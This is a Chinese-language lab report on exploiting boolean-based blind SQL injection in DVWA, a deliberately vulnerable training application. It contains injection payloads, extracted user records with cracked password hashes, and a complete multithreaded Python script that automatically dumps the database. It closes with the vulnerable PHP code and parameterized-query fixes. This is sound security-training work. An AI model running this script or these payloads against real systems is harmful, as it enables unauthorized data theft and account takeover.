文章目录
- 一、测试概述
- 二、漏洞原理
- 2.1 什么是SQL盲注
- 2.2 核心原理
- 三、漏洞验证
- 3.1 基础测试
- 四、漏洞利用过程
- 4.1 获取数据库名
- 4.2 获取表信息
- 4.3 获取列信息
- 4.4 获取记录数
- 五、提取结果
- 5.1 表结构
- 5.2 实际提取数据
- 5.3 密码破解
- 六、自动化脚本
- 6.1 脚本说明
- 6.2 核心函数
- 6.3 使用方法
- 七、漏洞危害
- 7.1 影响范围
- 7.2 攻击链
- 八、修复建议
- 8.1 漏洞代码(Low级别)
- 8.2 修复方案
- 8.3 安全最佳实践
- 九、总结
- 9.1 漏洞确认
- 9.2 风险评估
- 9.3 修复优先级
一、测试概述
| 项目 | 内容 |
|---|---|
| 测试目标 | http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/ |
| 安全级别 | Low |
| 漏洞类型 | Boolean-based Blind SQL Injection |
| 测试日期 | 2026-06-07 |
| 测试工具 | Python自动化脚本 |
| 风险等级 | 高危(Critical) |
二、漏洞原理
2.1 什么是SQL盲注
SQL盲注是SQL注入的特殊类型。攻击者无法直接看到查询结果,只能通过页面返回的布尔状态推断数据库信息。
2.2 核心原理
正常SQL: SELECT * FROM users WHERE user_id = '1' 注入后: SELECT * FROM users WHERE user_id = '1' AND SUBSTRING(DATABASE(),1,1)='d' AND '1'='1'| 条件 | 页面响应 | 含义 |
|---|---|---|
| 条件为真 | “User ID exists” | 猜解正确 |
| 条件为假 | “User ID is MISSING” | 猜解错误 |
通过逐字符猜解,可提取数据库名、表名、列名和数据。
三、漏洞验证
3.1 基础测试
| 测试 | 输入 | 结果 | 结论 |
|---|---|---|---|
| 正常查询 | 1 | exists | 页面正常 |
| 无效ID | 999 | MISSING | 可区分真假 |
| 单引号 | 1' | MISSING | 字符型注入 |
| 真条件 | 1' AND '1'='1 | exists | 注入成功 |
| 假条件 | 1' AND '1'='2 | MISSING | 布尔盲注确认 |
结论:存在 Boolean-based Blind SQL Injection 漏洞
四、漏洞利用过程
4.1 获取数据库名
-- 测试长度1' AND LENGTH(DATABASE())=4 AND '1'='1→exists✓-- 逐字符猜解1' AND SUBSTRING(DATABASE(),1,1)='d' AND '1'='1→exists✓1' AND SUBSTRING(DATABASE(),2,1)='v' AND '1'='1→exists✓1' AND SUBSTRING(DATABASE(),3,1)='w' AND '1'='1→exists✓1' AND SUBSTRING(DATABASE(),4,1)='a' AND '1'='1→exists✓结果:数据库名 = “dvwa”
4.2 获取表信息
-- 表数量1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='dvwa')=1 AND '1'='1→exists✓-- 表名(逐字符)1' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),1,1)='u' AND '1'='1→exists✓结果:1个表,表名 = “users”
4.3 获取列信息
-- 列数量1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users')=8 AND '1'='1→exists✓-- 列名(8列)user_id,first_name,last_name,user,password,avatar,last_login,failed_login4.4 获取记录数
1' AND (SELECT COUNT(*) FROM users)=5 AND '1'='1→exists✓结果:5条记录
五、提取结果
5.1 表结构
| 列名 | 类型 | 说明 |
|---|---|---|
| user_id | INT | 用户ID(主键) |
| first_name | VARCHAR | 名字 |
| last_name | VARCHAR | 姓氏 |
| user | VARCHAR | 用户名 |
| password | VARCHAR | 密码(MD5哈希) |
| avatar | VARCHAR | 头像路径 |
| last_login | DATETIME | 最后登录时间 |
| failed_login | INT | 登录失败次数 |
5.2 实际提取数据
| user_id | user | first_name | last_name | password (MD5) | last_login | failed_login |
|---|---|---|---|---|---|---|
| 1 | admin | admin | admin | 21232f297a57a5a743894a0e4a801fc3 | 2026-05-12 | 3 |
| 2 | gordonb | gordon | brown | e99a18c428cb38d5f260853678922e03 | 2026-04-23 | 0 |
| 3 | 1337 | hack | me | 8d3533d75ae2c3966d7e0d4fcc69216b | 2026-04-23 | 0 |
| 4 | pablo | pablo | picasso | 0d107d09f5bbe40cade3de5c71e9e9b7 | 2026-04-23 | 0 |
| 5 | smithy | bob | smith | 5f4dcc3b5aa765d61d8327deb882cf99 | 2026-04-23 | 0 |
5.3 密码破解
| 用户 | MD5哈希 | 原始密码 |
|---|---|---|
| admin | 21232f297a57a5a743894a0e4a801fc3 | admin |
| gordonb | e99a18c428cb38d5f260853678922e03 | abc123 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | charley |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | letmein |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | password |
六、自动化脚本
6.1 脚本说明
[dvwa_blind_sqli_exploit.py]
#!/usr/bin/env python3""" DVWA SQL盲注漏洞利用脚本 =========================== 目标: http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/ 级别: Low 类型: Boolean-based Blind SQL Injection 原理: 通过布尔条件判断页面返回差异(exists/MISSING),逐字符推断数据库内容 优化: 并发请求(10线程) + Session复用,速度提升5-10倍 """importrequestsimportstringimportsysimportjsonimporttimefromdatetimeimportdatetimefromconcurrent.futuresimportThreadPoolExecutor,as_completed# ==================== 配置 ====================BASE_URL="http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/"MAX_WORKERS=10# 并发线程数REQUEST_TIMEOUT=10# 请求超时(秒)COOKIE={"security":"low","PHPSESSID":"ejgeju2nnnil9l058sc70pm8j6"}# 性能统计STATS={"total_requests":0,"start_time":None}# 结果存储RESULTS={"timestamp":datetime.now().isoformat(),"target":BASE_URL,"security_level":"low","database_name":"","tables":[],"columns":{},"data":[]}# Session复用TCP连接session=requests.Session()session.cookies.update(COOKIE)defcheck_payload(payload):""" 发送Payload并判断是否返回True Payload示例: 1' AND SUBSTRING(DATABASE(),1,1)='d' AND '1'='1 返回True: 页面显示 "User ID exists" 返回False: 页面显示 "User ID is MISSING" """url=f"{BASE_URL}?id={requests.utils.quote(payload)}&Submit=Submit"try:resp=session.get(url,timeout=REQUEST_TIMEOUT)STATS["total_requests"]+=1return"User ID exists"inresp.textexceptExceptionase:print(f" [!] Error:{e}")returnFalsedefcheck_batch(payloads):""" 并发检查多个Payload 参数: payloads = [(payload1, char1), (payload2, char2), ...] 返回: 匹配成功的字符列表 """results=[]def_check(item):payload,char=itemreturncharifcheck_payload(payload)elseNonewithThreadPoolExecutor(max_workers=MAX_WORKERS)asexecutor:futures={executor.submit(_check,item):itemforiteminpayloads}forfutureinas_completed(futures):r=future.result()ifr:results.append(r)returnresultsdefblind_extract(query,max_len=30,charset=None):""" 盲注提取函数(并发版) 原理: 对每一位字符,同时发送所有可能的Payload,找到匹配的那个 示例 - 猜解数据库名第1位: 并发发送: SUBSTRING(DATABASE(),1,1)='a', 'b', 'c'...'z' 匹配成功: 'd' → 记录 → 继续猜解第2位 """ifcharsetisNone:charset=string.ascii_lowercase+string.digits+"_"result=""forposinrange(1,max_len+1):# 构造当前位所有字符的Payloadpayloads=[(f"1' AND SUBSTRING(({query}),{pos},1)='{c}' AND '1'='1",c)forcincharset]matched=check_batch(payloads)ifmatched:result+=matched[0]sys.stdout.write(matched[0])sys.stdout.flush()else:break# 无匹配,提取完成print()returnresultdefget_database_name():"""获取数据库名"""print("[*] Extracting database name...")name=blind_extract("DATABASE()",20,string.ascii_lowercase)print(f"[+] Database:{name}")RESULTS["database_name"]=namereturnnamedefget_table_count(db):"""获取表数量"""print(f"[*] Getting table count in{db}...")foriinrange(1,20):ifcheck_payload(f"1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db}')={i}AND '1'='1"):print(f"[+] Table count:{i}")returnireturn0defget_table_name(db,idx):"""获取表名"""print(f"[*] Extracting table name[{idx}]...")q=f"SELECT table_name FROM information_schema.tables WHERE table_schema='{db}' LIMIT{idx},1"name=blind_extract(q,30)print(f"[+] Table:{name}")returnnamedefget_column_count(table):"""获取列数量"""print(f"[*] Getting column count for{table}...")foriinrange(1,30):ifcheck_payload(f"1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='{table}')={i}AND '1'='1"):print(f"[+] Column count:{i}")returnireturn0defget_column_name(table,idx):"""获取列名"""print(f"[*] Extracting column name[{idx}]...")q=f"SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='{table}' LIMIT{idx},1"name=blind_extract(q,30)print(f"[+] Column:{name}")returnnamedefget_row_count(table):"""获取记录数"""print(f"[*] Getting row count for{table}...")foriinrange(1,20):ifcheck_payload(f"1' AND (SELECT COUNT(*) FROM{table})={i}AND '1'='1"):print(f"[+] Row count:{i}")returnireturn0defget_field(table,col,row):"""获取字段值"""print(f"[*] Extracting{col}[row{row}]...")q=f"SELECT{col}FROM{table}LIMIT{row},1"charset=string.ascii_letters+string.digits+"@._-$"val=blind_extract(q,100,charset)print(f"[+]{col}:{val}")returnvaldefsave_results():"""保存结果到JSON"""withopen("dvwa_blind_sqli_results.json","w")asf:json.dump(RESULTS,f,indent=2)print(f"\n[+] Results saved to dvwa_blind_sqli_results.json")defprint_stats():"""打印性能统计"""elapsed=time.time()-STATS["start_time"]print("\n"+"="*60)print("性能统计")print("="*60)print(f"总请求数:{STATS['total_requests']}")print(f"总耗时:{elapsed:.2f}秒 ({elapsed/60:.2f}分钟)")ifelapsed>0:print(f"请求速度:{STATS['total_requests']/elapsed:.2f}次/秒")print("="*60)defmain():""" 执行流程: 1. 获取数据库名 → 2. 获取表数量 → 3. 获取表名 4. 获取列数量 → 5. 获取列名 → 6. 获取记录数 7. 逐行逐列提取数据 → 8. 保存结果 """STATS["start_time"]=time.time()print("="*60)print("DVWA SQL Blind Injection Exploit - Level: Low")print(f"并发线程:{MAX_WORKERS}")print("="*60)try:# 1. 数据库名db=get_database_name()# 2-3. 表信息tables=[]foriinrange(get_table_count(db)):tables.append(get_table_name(db,i))RESULTS["tables"]=tablesprint(f"[+] Tables:{', '.join(tables)}")# 4-5. 列信息fortintables:cols=[]foriinrange(get_column_count(t)):cols.append(get_column_name(t,i))RESULTS["columns"][t]=colsprint(f"[+] Columns in{t}:{', '.join(cols)}")# 6-7. 提取数据if"users"intables:rows=get_row_count("users")print(f"\n[*] Extracting users table ({rows}rows)...")cols=RESULTS["columns"]["users"]forrinrange(rows):print(f"\n--- Row{r+1}---")row_data={c:get_field("users",c,r)forcincols}RESULTS["data"].append(row_data)# 8. 保存save_results()print_stats()print("\n[+] Done!")exceptKeyboardInterrupt:print("\n[!] Interrupted")save_results()print_stats()exceptExceptionase:print(f"\n[!] Error:{e}")save_results()print_stats()if__name__=="__main__":main()6.2 核心函数
defcheck_payload(payload):"""发送Payload,判断页面是否返回"User ID exists"""" url=f"{BASE_URL}?id={requests.utils.quote(payload)}&Submit=Submit"resp=session.get(url,timeout=REQUEST_TIMEOUT)return"User ID exists"inresp.textdefblind_extract(query,max_len=30,charset=None):"""并发盲注提取:对每位字符同时发送所有可能的Payload"""forposinrange(1,max_len+1):payloads=[(f"1' AND SUBSTRING(({query}),{pos},1)='{c}' AND '1'='1",c)forcincharset]matched=check_batch(payloads)# 并发检查ifmatched:result+=matched[0]6.3 使用方法
python dvwa_blind_sqli_exploit.py结果保存至dvwa_blind_sqli_results.json
七、漏洞危害
7.1 影响范围
| 危害类型 | 程度 | 说明 |
|---|---|---|
| 数据泄露 | 严重 | 获取全部用户数据(含密码哈希) |
| 数据篡改 | 严重 | 可修改/删除数据库内容 |
| 权限提升 | 严重 | 获取管理员账户 |
| 服务器控制 | 高危 | 结合其他漏洞可能获取服务器权限 |
7.2 攻击链
SQL盲注 → 枚举数据库结构 → 提取用户凭证 → 登录系统 → 进一步渗透八、修复建议
8.1 漏洞代码(Low级别)
$id=$_GET['id'];$query="SELECT first_name, last_name FROM users WHERE user_id = '$id'";$result=mysqli_query($GLOBALS["___mysqli_ston"],$query);8.2 修复方案
方案1:参数化查询(推荐)
$id=$_GET['id'];$query="SELECT first_name, last_name FROM users WHERE user_id = ?";$stmt=mysqli_prepare($GLOBALS["___mysqli_ston"],$query);mysqli_stmt_bind_param($stmt,"s",$id);mysqli_stmt_execute($stmt);$result=mysqli_stmt_get_result($stmt);方案2:输入验证
$id=intval($_GET['id']);// 强制转换为整数8.3 安全最佳实践
| 措施 | 优先级 | 说明 |
|---|---|---|
| 参数化查询 | 高 | 使用预处理语句,从根本上防止注入 |
| 输入验证 | 高 | 对所有用户输入进行类型检查 |
| 最小权限 | 中 | 数据库账户使用最小必要权限 |
| WAF防护 | 中 | 部署Web应用防火墙 |
| 错误处理 | 低 | 不向用户暴露详细错误信息 |
九、总结
9.1 漏洞确认
| 项目 | 状态 |
|---|---|
| 漏洞存在 | 已确认 |
| 漏洞类型 | Boolean-based Blind SQL Injection |
| 注入点 | User ID 参数(字符型) |
| 数据库 | MySQL - dvwa |
| 提取数据 | 5条用户记录(含密码哈希) |
9.2 风险评估
风险等级:高危(Critical)
该漏洞允许攻击者:
- 枚举整个数据库结构
- 提取所有用户数据(包括密码哈希)
- 进行数据篡改或删除
- 在特定条件下获取服务器控制权
9.3 修复优先级
建议立即修复,采用参数化查询是最有效的防御手段。
—、